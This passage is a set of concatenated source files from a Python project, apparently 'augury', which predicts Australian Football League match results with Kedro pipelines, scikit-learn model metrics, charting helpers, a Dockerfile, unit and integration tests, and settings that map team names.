rows by home_team, year, round_number .rename(columns={home_index: "home_team", away_index: "away_team"}) .drop(["at_home"] + oppo_stats_cols, axis=1) # We add all match cols to the index, because they don't affect the upcoming # concat, and it's easier than creating a third data frame for match cols .set_index(["home_team", "away_team"] + MATCH_INDEX_COLS + match_cols) .rename(columns=_replace_col_names(at_home)) .sort_index() ) <file_sep>/src/augury/run.py """Application entry point.""" from typing import Optional from datetime import date from kedro.framework.session import KedroSession from augury import settings def run_package( round_number: Optional[int] = None, start_date: str = "1897-01-01", end_date: str = f"{date.today().year}-12-31", ): """Entry point for running a Kedro project packaged with `kedro package`. Uses `python -m <project_package>.run` command. Params ------ round_number: The relevant round_number for filtering data. start_date: The earliest match date (inclusive) to include in any data sets. end_date: The latest match date (inclusive) to include in any data sets. """ extra_params = { "round_number": round_number, "start_date": start_date, "end_date": end_date, } with KedroSession.create( settings.PACKAGE_NAME, env=settings.ENV, project_path=settings.BASE_DIR, extra_params=extra_params, ) as session: session.run() if __name__ == "__main__": run_package() <file_sep>/notebooks/src/model/metrics.py from functools import partial import numpy as np import pandas as pd from sklearn.base import clone from sklearn.model_selection import cross_val_score from sklearn.metrics import make_scorer, mean_absolute_error, log_loss, accuracy_score from dask import compute, delayed np.random.seed(42) def regression_accuracy(y, y_pred, **kwargs): # pylint: disable=W0613 try: correct_preds = ((y >= 0) & (y_pred >= 0)) | ((y <= 0) & (y_pred <= 0)) except ValueError: reset_y = y.reset_index(drop=True) reset_y_pred = y_pred.reset_index(drop=True) correct_preds = ((reset_y >= 0) & (reset_y_pred >= 0)) | ( (reset_y <= 0) & (reset_y_pred <= 0) ) return np.mean(correct_preds.astype(int)) def measure_regressor(estimator, data, accuracy=True, **cv_kwargs): # Data assumes we've used train_test_split outside of the function to guarantee # consistent data splits X_train, X_test, y_train, y_test = data estimator.fit(X_train, y_train) y_pred = estimator.predict(X_test) if accuracy: cv_accuracy = cross_val_score( estimator, X_train, y_train, scoring=make_scorer(regression_accuracy), **cv_kwargs, ) test_accuracy = regression_accuracy(y_test, y_pred) else: cv_accuracy = 0 test_accuracy = 0 return ( cv_accuracy, cross_val_score( estimator, X_train, y_train, scoring="neg_mean_absolute_error", **cv_kwargs ) * -1, test_accuracy, mean_absolute_error(y_test, y_pred), ) def measure_classifier(estimator, data, **cv_kwargs): # Data assumes we've used train_test_split outside of the function to guarantee # consistent data splits X_train, X_test, y_train, y_test = data estimator.fit(X_train, y_train) y_pred = estimator.predict(X_test) try: cv_error_score = cross_val_score( estimator, X_train, y_train, scoring="neg_log_loss", **cv_kwargs ) test_error_score = log_loss(y_test, y_pred) except AttributeError: cv_error_score, test_error_score = 0, 0 return ( cross_val_score(estimator, X_train, y_train, scoring="accuracy", **cv_kwargs), cv_error_score, accuracy_score(y_test, y_pred), test_error_score, ) def measure_estimators( estimators, data, model_type="regression", accuracy=True, cv=5, n_jobs=-1, **cv_kwargs, ): if model_type not in ("regression", "classification"): raise Exception( f'model_type must be "regression" or "classification", but {model_type} was given.' ) estimator_names = [] mean_cv_accuracies = [] test_accuracies = [] mean_cv_errors = [] test_errors = [] std_cv_accuracies = [] std_cv_errors = [] for estimator_name, estimator, est_kwargs in estimators: print(f"Training {estimator_name}") if model_type == "regression": cv_accuracies, cv_errors, test_accuracy, test_error = measure_regressor( estimator, data, accuracy=accuracy, cv=cv, n_jobs=n_jobs, **cv_kwargs ) else: cv_accuracies, cv_errors, test_accuracy, test_error = measure_classifier( estimator, data, cv=cv, n_jobs=n_jobs, **cv_kwargs, **est_kwargs ) mean_cv_accuracy = np.mean(cv_accuracies) mean_cv_error = np.mean(cv_errors) std_cv_accuracy = np.std(cv_accuracies) std_cv_error = np.std(cv_errors) estimator_names.append(estimator_name) mean_cv_accuracies.append(mean_cv_accuracy) std_cv_accuracies.append(std_cv_accuracy) test_accuracies.append(test_accuracy) mean_cv_errors.append(mean_cv_error) std_cv_errors.append(std_cv_error) test_errors.append(test_error) print(f"{estimator_name} done") score_types = ["cv"] * len(estimator_names) + ["test"] * len(estimator_names) return pd.DataFrame( { "model": estimator_names * 2, "accuracy": mean_cv_accuracies + test_accuracies, "error": mean_cv_errors + test_errors, "std_accuracy": std_cv_accuracies + [np.nan] * len(test_accuracies), "std_error": std_cv_errors + [np.nan] * len(test_errors), "score_type": score_types, } ) def _estimator_score(year, data, estimator_params): X_train, X_test, y_train, y_test = data estimator_name, root_estimator, estimator_kwargs = estimator_params estimator = clone(root_estimator) print(f"\tGetting scores for {estimator_name}") estimator.fit(X_train, y_train, **estimator_kwargs) y_pred = estimator.predict(X_test) if isinstance(y_pred, np.ndarray): y_pred = y_pred.reshape((-1,)) return { "year": year, "model": estimator_name, "error": mean_absolute_error(y_test, y_pred), "accuracy": regression_accuracy(y_test, y_pred), } def _yearly_performance_score(estimators, features, labels, data_frame, year): print(f"Getting scores for {year}") X_train = features[features["year"] < year] X_test = features[features["year"] == year] y_train = labels.loc[X_train.index] y_test = labels.loc[X_test.index] if not data_frame: X_train = X_train.values X_test = X_test.values y_train = y_train.values y_test = y_test.values estimator_score = partial( _estimator_score, year, (X_train, X_test, y_train, y_test) ) scores = [estimator_score(estimator) for estimator in estimators] return scores def yearly_performance_scores( estimators, features, labels, parallel=True, data_frame=False ): yearly_performance_score = partial( _yearly_performance_score, estimators, features, labels, data_frame ) if parallel: scores = [delayed(yearly_performance_score)(year) for year in range(2011, 2017)] results = compute(scores, scheduler="processes") else: results = [yearly_performance_score(year) for year in range(2011, 2017)] return pd.DataFrame(list(np.array(results).flatten())) <file_sep>/src/augury/io/json_remote_data_set.py """kedro data set based on fetching fresh data from the afl_data service.""" from typing import Any, List, Dict, Callable, Union, Optional import importlib from datetime import date, timedelta import pandas as pd from kedro.io.core import AbstractDataSet TODAY = date.today() JAN = 1 FIRST = 1 DEC = 12 THIRTY_FIRST = 31 WEEK = 7 # Saved data will generally go to the end of previous year, so default for start_date # for fetched data is beginning of this year BEGINNING_OF_YEAR = date(TODAY.year, JAN, FIRST) END_OF_YEAR = date(TODAY.year, DEC, THIRTY_FIRST) MODULE_SEPARATOR = "." # We make a week ago the dividing line between past & future rounds, # because "past" data sets aren't updated until a few days after a given round is over, # meaning we have to keep relying on "future" data sets for past matches # if we run the pipeline mid-round START_OF_WEEK = TODAY - timedelta(days=TODAY.weekday()) ONE_WEEK_AGO = TODAY - timedelta(days=WEEK) DATE_RANGE_TYPE: Dict[str, Dict[str, str]] = { "whole_season": { "start_date": str(BEGINNING_OF_YEAR), "end_date": str(END_OF_YEAR), }, "past_rounds": { "start_date": str(BEGINNING_OF_YEAR), "end_date": str(START_OF_WEEK), }, "future_rounds": {"start_date": str(ONE_WEEK_AGO), "end_date": str(END_OF_YEAR)}, } class JSONRemoteDataSet(AbstractDataSet): """Kedro data set based on fetching fresh data from the afl_data service.""" def __init__( self, data_source: Union[Callable, str], date_range_type: Optional[str] = None, **load_kwargs, ): """Instantiate a JSONRemoteDataSet object. Params ------ data_source: Either a function that fetches data from an external API, or a reference to one that can be loaded via `getattr`. date_range_type: Defines the date range of the data to be fetched. Can be one of the following: 'whole_season': all of the current year. 'past_rounds': the current year up to the current date (inclusive). 'future_rounds': the current date until the end of the current year (inclusive). load_kwargs: Keyword arguments to pass to the data import function. """ self._validate_date_range_type(date_range_type) self._date_range = ( {} if date_range_type is None else DATE_RANGE_TYPE[date_range_type] ) self._data_source_kwargs: Dict[str, Any] = {**self._date_range, **load_kwargs} if callable(data_source): self.data_source = data_source else: path_parts = data_source.split(MODULE_SEPARATOR) function_name = path_parts[-1] module_path = MODULE_SEPARATOR.join(path_parts[:-1]) module = importlib.import_module(module_path) self.data_source = getattr(module, function_name) def _load(self) -> List[Dict[str, Any]]: return self.data_source(**self._data_source_kwargs) def _save(self, data: pd.DataFrame) -> None: pass def _describe(self): return self._data_source_kwargs @staticmethod def _validate_date_range_type(date_range_type: Optional[str]) -> None: assert date_range_type is None or date_range_type in DATE_RANGE_TYPE, ( "Argument date_range_type must be None or one of " f"{DATE_RANGE_TYPE.keys()}, but {date_range_type} was received." ) <file_sep>/notebooks/src/model/charts.py import seaborn as sns import matplotlib.pyplot as plt def graph_yearly_model_performance(year_data_frame, error=True): if error: # MAE scores plt.figure(figsize=(15, 9)) sns.barplot(x="year", y="error", hue="model", data=year_data_frame) # Not starting axis at 0 to make small relative differences clearer plt.ylim(bottom=20) plt.title("Model error per season\n", fontsize=18) plt.ylabel("MAE", fontsize=14) plt.xlabel("", fontsize=14) plt.yticks(fontsize=12) plt.xticks(fontsize=12) plt.legend(fontsize=14) plt.show() # Accuracy scores plt.figure(figsize=(15, 8)) sns.barplot(x="year", y="accuracy", hue="model", data=year_data_frame) # Not starting axis at 0 to make small relative differences clearer plt.ylim(bottom=0.55) plt.title("Model accuracy per season\n", fontsize=18) plt.ylabel("Accuracy", fontsize=14) plt.xlabel("", fontsize=14) plt.yticks(fontsize=12) plt.xticks(fontsize=12, rotation=90) plt.legend(fontsize=14) plt.show() def graph_tf_model_history(history): acc = history.history["tip_accuracy"] val_acc = history.history["val_tip_accuracy"] loss = history.history["loss"] val_loss = history.history["val_loss"] epochs = range(len(loss)) plt.plot(epochs, acc, "bo", label="Training acc") plt.plot(epochs, val_acc, "b", label="Validation acc") plt.title("Training and validation accuracy") plt.legend() plt.figure() plt.plot(epochs, loss, "bo", label="Training loss") plt.plot(epochs, val_loss, "b", label="Validation loss") plt.title("Training and validation loss") plt.legend() plt.show() def graph_cv_model_performance(performance_data_frame): # Accuracy scores plt.figure(figsize=(15, 7)) sns.barplot( x="model", y="match_accuracy", data=performance_data_frame.sort_values("match_accuracy", ascending=False), ) plt.ylim(bottom=0.55) plt.title("Model accuracy for cross-validation\n", fontsize=18) plt.ylabel("Accuracy", fontsize=14) plt.xlabel("", fontsize=14) plt.yticks(fontsize=12) plt.xticks(fontsize=12, rotation=90) plt.legend(fontsize=14) plt.show() # MAE scores plt.figure(figsize=(15, 7)) sns.barplot( x="model", y="mae", data=performance_data_frame.sort_values("mae", ascending=True), ) plt.ylim(bottom=20) plt.title("Model mean absolute error for cross-validation\n", fontsize=18) plt.ylabel("MAE", fontsize=14) plt.xlabel("", fontsize=14) plt.yticks(fontsize=12) plt.xticks(fontsize=12, rotation=90) plt.legend(fontsize=14) plt.show() <file_sep>/Dockerfile # Specifying the sha is to guarantee that CI will not try to rebuild from the # source image (i.e. python:3.6), which apparently CIs are bad at avoiding on # their own. # Using slim-buster instead of alpine based on this GH comment: # https://github.com/docker-library/python/issues/381#issuecomment-464258800 FROM python:3.8.6-slim-buster@sha256:3a751ba465936180c83904df83436e835b9a919a6331062ae764deefbd3f3b47 # Install linux packages RUN apt-get --no-install-recommends update \ # g++ is a dependency of gcc, so must come before && apt-get -y --no-install-recommends install g++ gcc \ && rm -rf /var/lib/apt/lists/* WORKDIR /app # Install Python dependencies COPY requirements.txt . RUN pip3 install -r requirements.txt # Add the rest of the code COPY . /app CMD [ "python3", "app.py" ] <file_sep>/src/tests/unit/test_ml_data.py # pylint: disable=missing-module-docstring, missing-function-docstring # pylint: disable=missing-class-docstring import os from unittest import TestCase from unittest.mock import MagicMock import pandas as pd from faker import Faker from augury.ml_data import MLData RAW_DATA_DIR = os.path.abspath( os.path.join(os.path.dirname(__file__), "../../fixtures") ) FAKE = Faker() MATCH_COUNT_PER_YEAR = 10 YEAR_RANGE = (2016, 2017) # Need to multiply by two, because we add team & oppo_team row per match ROW_COUNT = MATCH_COUNT_PER_YEAR * len(range(*YEAR_RANGE)) * 2 class TestMLData(TestCase): """Tests for MLData class""" def setUp(self): self.data = MLData(data_set="fake_data", train_year_range=(2017,)) def test_train_data(self): X_train, y_train = self.data.train_data self.assertIsInstance(X_train, pd.DataFrame) self.assertIsInstance(y_train, pd.Series) self.assertNotIn("score", X_train.columns) self.assertNotIn("oppo_score", X_train.columns) self.assertNotIn("goals", X_train.columns) self.assertNotIn("team_goals", X_train.columns) self.assertNotIn("oppo_team_goals", X_train.columns) self.assertNotIn("behinds", X_train.columns) self.assertNotIn("team_behinds", X_train.columns) self.assertNotIn("oppo_team_behinds", X_train.columns) self.assertNotIn("margin", X_train.columns) self.assertNotIn("result", X_train.columns) # Applying StandardScaler to integer columns raises a warning self.assertFalse( any([X_train[column].dtype == int for column in X_train.columns]) ) def test_test_data(self): X_test, y_test = self.data.test_data self.assertIsInstance(X_test, pd.DataFrame) self.assertIsInstance(y_test, pd.Series) self.assertNotIn("score", X_test.columns) self.assertNotIn("oppo_score", X_test.columns) self.assertNotIn("goals", X_test.columns) self.assertNotIn("team_goals", X_test.columns) self.assertNotIn("oppo_team_goals", X_test.columns) self.assertNotIn("behinds", X_test.columns) self.assertNotIn("team_behinds", X_test.columns) self.assertNotIn("oppo_team_behinds", X_test.columns) self.assertNotIn("margin", X_test.columns) self.assertNotIn("result", X_test.columns) # Applying StandardScaler to integer columns raises a warning self.assertFalse( any([X_test[column].dtype == int for column in X_test.columns]) ) def test_train_test_data_compatibility(self): self.maxDiff = None X_train, _ = self.data.train_data X_test, _ = self.data.test_data self.assertCountEqual(list(X_train.columns), list(X_test.columns)) def test_data(self): self.data._load_data = MagicMock( # pylint: disable=protected-access return_value="dataz" ) self.assertTrue(self.data._data.empty) # pylint: disable=protected-access self.assertEqual(self.data.data, "dataz") def test_data_set(self): data_set_name = "even_faker_data" self.data.data_set = data_set_name self.assertTrue(self.data._data.empty) # pylint: disable=protected-access self.assertEqual(self.data.data_set, data_set_name) <file_sep>/notebooks/src/data/data_transformer.py import re import pandas as pd import numpy as np DIGITS = re.compile(r"round\s+(\d+)$", flags=re.I) QUALIFYING = re.compile(r"qualifying", flags=re.I) ELIMINATION = re.compile(r"elimination", flags=re.I) SEMI = re.compile(r"semi", flags=re.I) PRELIMINARY = re.compile(r"preliminary", flags=re.I) GRAND = re.compile(r"grand", flags=re.I) class DataTransformer: def __init__(self, df): self.df = df.copy() def clean( self, min_year="01", max_year="2016", drop_cols=["venue", "crowd", "datetime", "season_round"], ): return ( self.df[ (self.df["datetime"] >= f"{min_year}-01-01") & (self.df["datetime"] <= f"{max_year}-12-31") ] .assign(round_number=self.__extract_round_number, year=self.__extract_year) .drop(drop_cols, axis=1) ) def stack_teams(self, **kwargs): team_dfs = [self.__team_df("home", **kwargs), self.__team_df("away", **kwargs)] return pd.concat(team_dfs, join="inner").sort_index() def __extract_round_number(self, df): return df["season_round"].map(self.__match_round) def __match_round(self, round_string): digits = DIGITS.search(round_string) if digits is not None: return int(digits.group(1)) if QUALIFYING.search(round_string) is not None: return 25 if ELIMINATION.search(round_string) is not None: return 25 if SEMI.search(round_string) is not None: return 26 if PRELIMINARY.search(round_string) is not None: return 27 if GRAND.search(round_string) is not None: return 28 raise Exception(f"Round label {round_string} doesn't match any known patterns") def __team_df(self, team_type, **kwargs): df = self.clean(**kwargs) is_at_home = team_type == "home" oppo_team_type = "away" if is_at_home else "home" at_home_col = np.ones(len(df)) if is_at_home else np.zeros(len(df)) return ( df.rename(columns=self.__replace_col_names(team_type, oppo_team_type)) .assign(at_home=at_home_col) .set_index(["team", "year", "round_number"], drop=False) .rename_axis([None, None, None]) # Gotta drop duplicates, because <NAME> & Carlton tied a Grand Final # in 2010 and had to replay it, so let's just pretend that never happened .drop_duplicates(subset=["team", "year", "round_number"], keep="last") ) @staticmethod def __replace_col_names(team_type, oppo_team_type): return lambda col_name: ( col_name.replace(f"{team_type}_", "").replace(f"{oppo_team_type}_", "oppo_") ) @staticmethod def __extract_year(df): return df["datetime"].map(lambda date_time: date_time.year) <file_sep>/src/tests/unit/test_predictions.py # pylint: disable=missing-module-docstring, missing-function-docstring # pylint: disable=missing-class-docstring, redefined-outer-name from unittest.mock import MagicMock, patch import os import joblib from freezegun import freeze_time import pytest from kedro.framework.session import get_current_session from tests.fixtures.fake_estimator import FakeEstimatorData, create_fake_pipeline from augury.predictions import Predictor from augury.settings import BASE_DIR YEAR_RANGE = (2018, 2019) PREDICTION_ROUND = 1 FAKE_ML_MODELS = [ { "name": "fake_estimator", "data_set": "fake_data", "prediction_type": "margin", "label_col": "margin", }, { "name": "fake_estimator", "data_set": "fake_data", "prediction_type": "win_probability", "label_col": "result", }, ] MAX_YEAR = YEAR_RANGE[1] - 1 @pytest.fixture def predictor(): session = get_current_session() assert session is not None context = session.load_context() context.catalog.load = MagicMock( return_value=joblib.load( os.path.join(BASE_DIR, "src/tests/fixtures/fake_estimator.pkl") ) ) predictor = Predictor(YEAR_RANGE, context, PREDICTION_ROUND) return predictor @pytest.mark.parametrize( "models,prediction_multiplier", [(FAKE_ML_MODELS, 2), (FAKE_ML_MODELS[1:], 1)] ) @patch("augury.hooks.ProjectHooks.register_pipelines", {"fake": create_fake_pipeline()}) def test_make_predictions(models, prediction_multiplier, predictor): fake_data = FakeEstimatorData(max_year=MAX_YEAR) predicted_matches = fake_data.data.query( "year == @MAX_YEAR & round_number == @PREDICTION_ROUND" ) predictor._data = fake_data # pylint: disable=protected-access with freeze_time(f"{MAX_YEAR}-06-15"): model_predictions = predictor.make_predictions(models) assert len(model_predictions) == len(predicted_matches) * prediction_multiplier assert set(model_predictions.columns) == set( [ "team", "year", "round_number", "at_home", "oppo_team", "ml_model", "predicted_margin", ] ) prediction_years = model_predictions["year"].drop_duplicates() assert len(prediction_years) == 1 prediction_year = prediction_years.iloc[0] assert prediction_year == [YEAR_RANGE[0]] <file_sep>/src/tests/unit/test_api.py # pylint: disable=missing-module-docstring, missing-function-docstring # pylint: disable=missing-class-docstring from unittest import TestCase from unittest.mock import Mock, patch, MagicMock from datetime import date from typing import List import json from faker import Faker from candystore import CandyStore from tests.fixtures.fake_estimator import create_fake_pipeline from tests.fixtures import data_factories from augury.data_import import match_data from augury import api from augury import settings from augury.types import MLModelDict FAKE = Faker() THIS_YEAR = date.today().year YEAR_RANGE = (2018, 2019) FAKE_ML_MODELS: List[MLModelDict] = [ { "name": "fake_estimator", "data_set": "fake_data", "prediction_type": "margin", "trained_to": 2018, } ] REQUIRED_MATCH_COLUMNS = { "date", "year", "round_number", "home_team", "away_team", "venue", "home_score", "away_score", "match_id", } class TestApi(TestCase): # It doesn't matter what data Predictor returns since this method doesn't check @patch("augury.api.Predictor.make_predictions") @patch("augury.api.settings.ML_MODELS", FAKE_ML_MODELS) @patch("augury.api.PIPELINE_NAMES", {"fake_data": "fake"}) @patch( "augury.settings.ProjectContext._get_pipelines", MagicMock(return_value={"fake": create_fake_pipeline()}), ) def test_make_predictions(self, mock_make_predictions): mock_make_predictions.return_value = CandyStore(seasons=YEAR_RANGE).fixtures() response = api.make_predictions(YEAR_RANGE, ml_model_names=["fake_estimator"]) # Check that it serializes to valid JSON due to potential issues # with pd.Timestamp and np.nan values self.assertEqual(response, json.loads(json.dumps(response))) data = response["data"] self.assertIsInstance(data, list) self.assertIsInstance(data[0], dict) self.assertGreater(len(data[0].keys()), 0) mock_make_predictions.assert_called_with(FAKE_ML_MODELS) with self.subTest(ml_model_names=None): mock_make_predictions.reset_mock() api.make_predictions(YEAR_RANGE, ml_model_names=None) mock_make_predictions.assert_called_with(FAKE_ML_MODELS) def test_fetch_fixture_data(self): PROCESSED_FIXTURE_FIELDS = [ "date", "home_team", "year", "round_number", "away_team", "round_type", "venue", "match_id", ] data_importer = match_data data_importer.fetch_fixture_data = Mock( return_value=CandyStore(seasons=YEAR_RANGE).fixtures() ) response = api.fetch_fixture_data( f"{YEAR_RANGE[0]}-01-01", f"{YEAR_RANGE[0]}-12-31", data_import=data_importer, verbose=0, ) matches = response["data"] first_match = matches[0] self.assertEqual(set(first_match.keys()), set(PROCESSED_FIXTURE_FIELDS)) fixture_years = list({match["year"] for match in matches}) self.assertEqual(fixture_years, [YEAR_RANGE[0]]) def test_fetch_match_data(self): fake_match_results = CandyStore(seasons=YEAR_RANGE).match_results() data_importer = match_data data_importer.fetch_match_data = Mock(return_value=fake_match_results) response = api.fetch_match_data( f"{YEAR_RANGE[0]}-01-01", f"{YEAR_RANGE[1]}-12-31", data_import=data_importer, verbose=0, ) matches = response["data"] self.assertEqual(len(matches), len(fake_match_results)) first_match = matches[0] self.assertEqual( set(first_match.keys()) & REQUIRED_MATCH_COLUMNS, REQUIRED_MATCH_COLUMNS, ) match_years = list({match["year"] for match in matches}) self.assertEqual(match_years, [YEAR_RANGE[0]]) def test_fetch_match_results_data(self): full_fake_match_results = CandyStore(seasons=1).match_results() round_number = FAKE.pyint(1, full_fake_match_results["round_number"].max()) fake_match_results = data_factories.fake_match_results_data( full_fake_match_results, round_number ) data_importer = match_data data_importer.fetch_match_results_data = Mock(return_value=fake_match_results) response = api.fetch_match_results_data( round_number, data_import=data_importer, verbose=0 ) match_results = response["data"] # It returns all available match results for the round self.assertEqual( len(match_results), len(fake_match_results.query("round == @round_number")), ) required_fields = set( [ "date", "year", "round_number", "home_team", "away_team", "home_score", "away_score", ] ) first_match = match_results[0] self.assertEqual(required_fields, set(first_match.keys()) & required_fields) match_rounds = {result["round_number"] for result in match_results} self.assertEqual(match_rounds, set([round_number])) def test_fetch_ml_model_info(self): response = api.fetch_ml_model_info() models = response["data"] self.assertEqual(models, settings.ML_MODELS) <file_sep>/src/tests/integration/data_import/test_match_data_request.py # pylint: disable=missing-module-docstring, missing-function-docstring # pylint: disable=missing-class-docstring import os from unittest import TestCase from unittest.mock import patch, MagicMock from datetime import date, timedelta from betamax import Betamax from requests import Session from augury.data_import.match_data import ( fetch_match_data, fetch_fixture_data, fetch_match_results_data, ) from augury.settings import CASSETTE_LIBRARY_DIR SEPT = 9 MAR = 3 FIFTEENTH = 15 THIRTY_FIRST = 31 AFL_DATA_SERVICE = os.getenv("AFL_DATA_SERVICE", default="") AFL_DATA_SERVICE_TOKEN = os.getenv("AFL_DATA_SERVICE_TOKEN", default="") ENV_VARS = os.environ.copy() DATA_IMPORT_PATH = "augury.data_import" with Betamax.configure() as config: config.cassette_library_dir = CASSETTE_LIBRARY_DIR config.define_cassette_placeholder("<AFL_DATA_TOKEN>", AFL_DATA_SERVICE_TOKEN) config.define_cassette_placeholder("<AFL_DATA_URL>", AFL_DATA_SERVICE) class TestMatchData(TestCase): def setUp(self): today = date.today() # Season start and end are approximate, but defined to be safely after the # usual start and before the usual end end_of_previous_season = date(today.year - 1, SEPT, FIFTEENTH) start_of_this_season = date(today.year, MAR, THIRTY_FIRST) end_of_this_season = date(today.year, SEPT, FIFTEENTH) a_year = timedelta(days=365) a_year_ago = today - a_year if today > start_of_this_season and a_year_ago < end_of_this_season: self.start_date = str(a_year_ago) elif today < start_of_this_season: self.start_date = str(end_of_previous_season - a_year) else: self.start_date = str(end_of_this_season - a_year) self.end_date = str(today) def test_fetch_match_data(self): data = fetch_match_data( start_date=self.start_date, end_date=self.end_date, verbose=0 ) self.assertIsInstance(data, list) self.assertIsInstance(data[0], dict) self.assertTrue(any(data)) dates = {datum["date"] for datum in data} self.assertLessEqual(self.start_date, min(dates)) self.assertGreaterEqual(self.end_date, max(dates)) def test_fetch_fixture_data(self): # Fixture data doesn't go very far back and is mostly for getting upcoming # match data during the season, so these dates are better examples # of actual usage start_date = "2016-05-01" end_date = "2016-08-31" data = fetch_fixture_data(start_date=start_date, end_date=end_date, verbose=0) self.assertIsInstance(data, list) self.assertIsInstance(data[0], dict) self.assertTrue(any(data)) dates = {datum["date"] for datum in data} self.assertLessEqual(start_date, min(dates)) self.assertGreaterEqual(end_date, max(dates)) def test_fetch_match_results_data(self): # We hard-code the round_number to 1 to maximise the chance of getting data. round_number = 1 data = fetch_match_results_data(round_number=round_number, verbose=0) self.assertIsInstance(data, list) # We always fetch match results from the current year, meaning that the data # will be empty during the part of the year before the season begins. if len(data) > 0: self.assertIsInstance(data[0], dict) self.assertTrue(any(data)) round_numbers = {datum["round"] for datum in data} self.assertEqual(round_numbers, set([round_number])) @patch.dict(os.environ, {**ENV_VARS, **{"PYTHON_ENV": "production"}}, clear=True) @patch(f"{DATA_IMPORT_PATH}.match_data.json.dump", MagicMock()) class TestMatchDataProd(TestCase): def setUp(self): self.session = Session() self.start_date = "2012-01-01" self.end_date = "2013-12-31" def test_fetch_match_data(self): with Betamax(self.session).use_cassette("match_data"): with patch(f"{DATA_IMPORT_PATH}.base_data.requests.get", self.session.get): data = fetch_match_data( start_date=self.start_date, end_date=self.end_date, verbose=0 ) self.assertIsInstance(data, list) self.assertIsInstance(data[0], dict) self.assertTrue(any(data)) dates = {datum["date"] for datum in data} self.assertLessEqual(self.start_date, min(dates)) self.assertGreaterEqual(self.end_date, max(dates)) def test_fetch_fixture_data(self): # Fixture data doesn't go very far back and is mostly for getting upcoming # match data during the season, so these dates are better examples # of actual usage start_date = "2016-05-01" end_date = "2016-08-31" with Betamax(self.session).use_cassette("fixture_data"): with patch(f"{DATA_IMPORT_PATH}.base_data.requests.get", self.session.get): data = fetch_fixture_data( start_date=start_date, end_date=end_date, verbose=0 ) self.assertIsInstance(data, list) self.assertIsInstance(data[0], dict) self.assertTrue(any(data)) dates = {datum["date"] for datum in data} self.assertLessEqual(start_date, min(dates)) self.assertGreaterEqual(end_date, max(dates)) def test_fetch_match_results_data(self): with Betamax(self.session).use_cassette("match_results_data"): with patch(f"{DATA_IMPORT_PATH}.base_data.requests.get", self.session.get): round_number = 5 data = fetch_match_results_data(round_number=round_number, verbose=0) self.assertIsInstance(data, list) self.assertIsInstance(data[0], dict) self.assertTrue(any(data)) round_numbers = {datum["round"] for datum in data} self.assertEqual(round_numbers, set([round_number])) <file_sep>/pyproject.toml [tool.kedro] package_name = "augury" project_name = "augury" project_version = "0.17.1" [tool.isort] multi_line_output = 3 include_trailing_comma = true force_grid_wrap = 0 use_parentheses = true line_length = 88 known_third_party = "kedro" [tool.pytest.ini_options] addopts = """ --cov-report term-missing:skip-covered\ --cov src/augury -ra\ --no-cov-on-fail""" <file_sep>/src/augury/settings.py """App-wide constants for app and data configuration.""" from typing import Dict, Union, List, Optional import os from datetime import date from pathlib import Path import pytz import yaml from kedro.framework.context import KedroContext from augury.types import MLModelDict from augury.hooks import ProjectHooks # pylint: disable=import-outside-toplevel ENV = os.getenv("PYTHON_ENV") ROLLBAR_TOKEN = os.getenv("ROLLBAR_TOKEN", "") BASE_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__), "../../")) RAW_DATA_DIR = os.path.join(BASE_DIR, "data/01_raw/") CASSETTE_LIBRARY_DIR = os.path.join(BASE_DIR, "src/tests/fixtures/cassettes") class ProjectContext(KedroContext): """Specialisation of generic KedroContext object with params specific to Augury.""" def __init__( self, package_name: str = "augury", project_path: str = BASE_DIR, env: Optional[str] = ENV, extra_params=None, ): """ Instantiate ProjectContext object. Params ------ project_path: Absolute path to project root. env: Name of the current environment. Principally used to load the correct `conf/` files. round_number: The relevant round_number for filtering data. start_date: The earliest match date (inclusive) to include in any data sets. end_date: The latest match date (inclusive) to include in any data sets. """ default_params = { "start_date": "1897-01-01", "end_date": f"{date.today().year}-12-31", } extra_params = extra_params or {} params = {**default_params, **extra_params} super().__init__( package_name=package_name, project_path=project_path, env=env, extra_params=params, ) @property def round_number(self): """Get the round_number for fetching/filtering data in this Kedro session.""" return self._extra_params.get("round_number") @round_number.setter def round_number(self, round_number: Optional[int]): """Set the round_number for this Kedro session. Params: ------- round_number: The round_number used for fetching/filtering data """ self._extra_params = { **(self._extra_params or {}), "round_number": round_number, } @property def start_date(self): """Get the start_date for filtering data in this Kedro session.""" return self._extra_params.get("start_date") @property def end_date(self): """Get the end_date for filtering data in this Kedro session.""" return self._extra_params.get("end_date") PACKAGE_NAME = Path(__file__).resolve().parent.name # Instantiate and list your project hooks here HOOKS = (ProjectHooks(),) # List the installed plugins for which to disable auto-registry # DISABLE_HOOKS_FOR_PLUGINS = ("kedro-viz",) # Define where to store data from a KedroSession. Defaults to BaseSessionStore. # from kedro.framework.session.store import ShelveStore # SESSION_STORE_CLASS = ShelveStore # Define keyword arguments to be passed to `SESSION_STORE_CLASS` constructor # SESSION_STORE_ARGS = { # "path": "./sessions" # } # Define custom context class. Defaults to `KedroContext` CONTEXT_CLASS = ProjectContext # Define the configuration folder. Defaults to `conf` # CONF_ROOT = "conf" # Using Melbourne for datetimes that aren't location specific, because these are usually # start/end datetimes, and Melbourne will at least get us on the correct date # (i.e. no weirdness around changing timezones resulting in datetimes # just before or after midnight, and thus on a different day) MELBOURNE_TIMEZONE = pytz.timezone("Australia/Melbourne") # We calculate rolling sums/means for some features that can span over 5 seasons # of data, so we're setting it to 10 to be on the safe side. N_SEASONS_FOR_PREDICTION = 10 # We want to limit the amount of data loaded as much as possible, # because we only need the full data set for model training and data analysis, # and we want to limit memory usage and speed up data processing for tipping PREDICTION_DATA_START_DATE = f"{date.today().year - N_SEASONS_FOR_PREDICTION}-01-01" with open( os.path.join(BASE_DIR, "src/augury/ml_models.yml"), "r", encoding="utf-8" ) as file: ML_MODELS: List[MLModelDict] = yaml.safe_load(file).get("models", []) PREDICTION_TYPES: List[str] = list( {ml_model["prediction_type"] for ml_model in ML_MODELS} ) # TODO: Create an SQLite DB to store and handle logic for these hard-coded entities # (i.e. there could be Team, City, Venue models with associations & model logic) TEAM_TRANSLATIONS = { "Tigers": "Richmond", "Blues": "Carlton", "Demons": "Melbourne", "Giants": "GWS", "GWS Giants": "GWS", "Greater Western Sydney": "GWS", "Suns": "Gold Coast", "Bombers": "Essendon", "Swans": "Sydney", "Magpies": "Collingwood", "Kangaroos": "North Melbourne", "Crows": "Adelaide", "Bulldogs": "Western Bulldogs", "Footscray": "Western Bulldogs", "Dockers": "Fremantle", "Power": "Port Adelaide", "Saints": "St Kilda", "Eagles": "West Coast", "Lions": "Brisbane", "Cats": "Geelong", "Hawks": "Hawthorn", "Adelaide Crows": "Adelaide", "Brisbane Lions": "Brisbane", "Brisbane 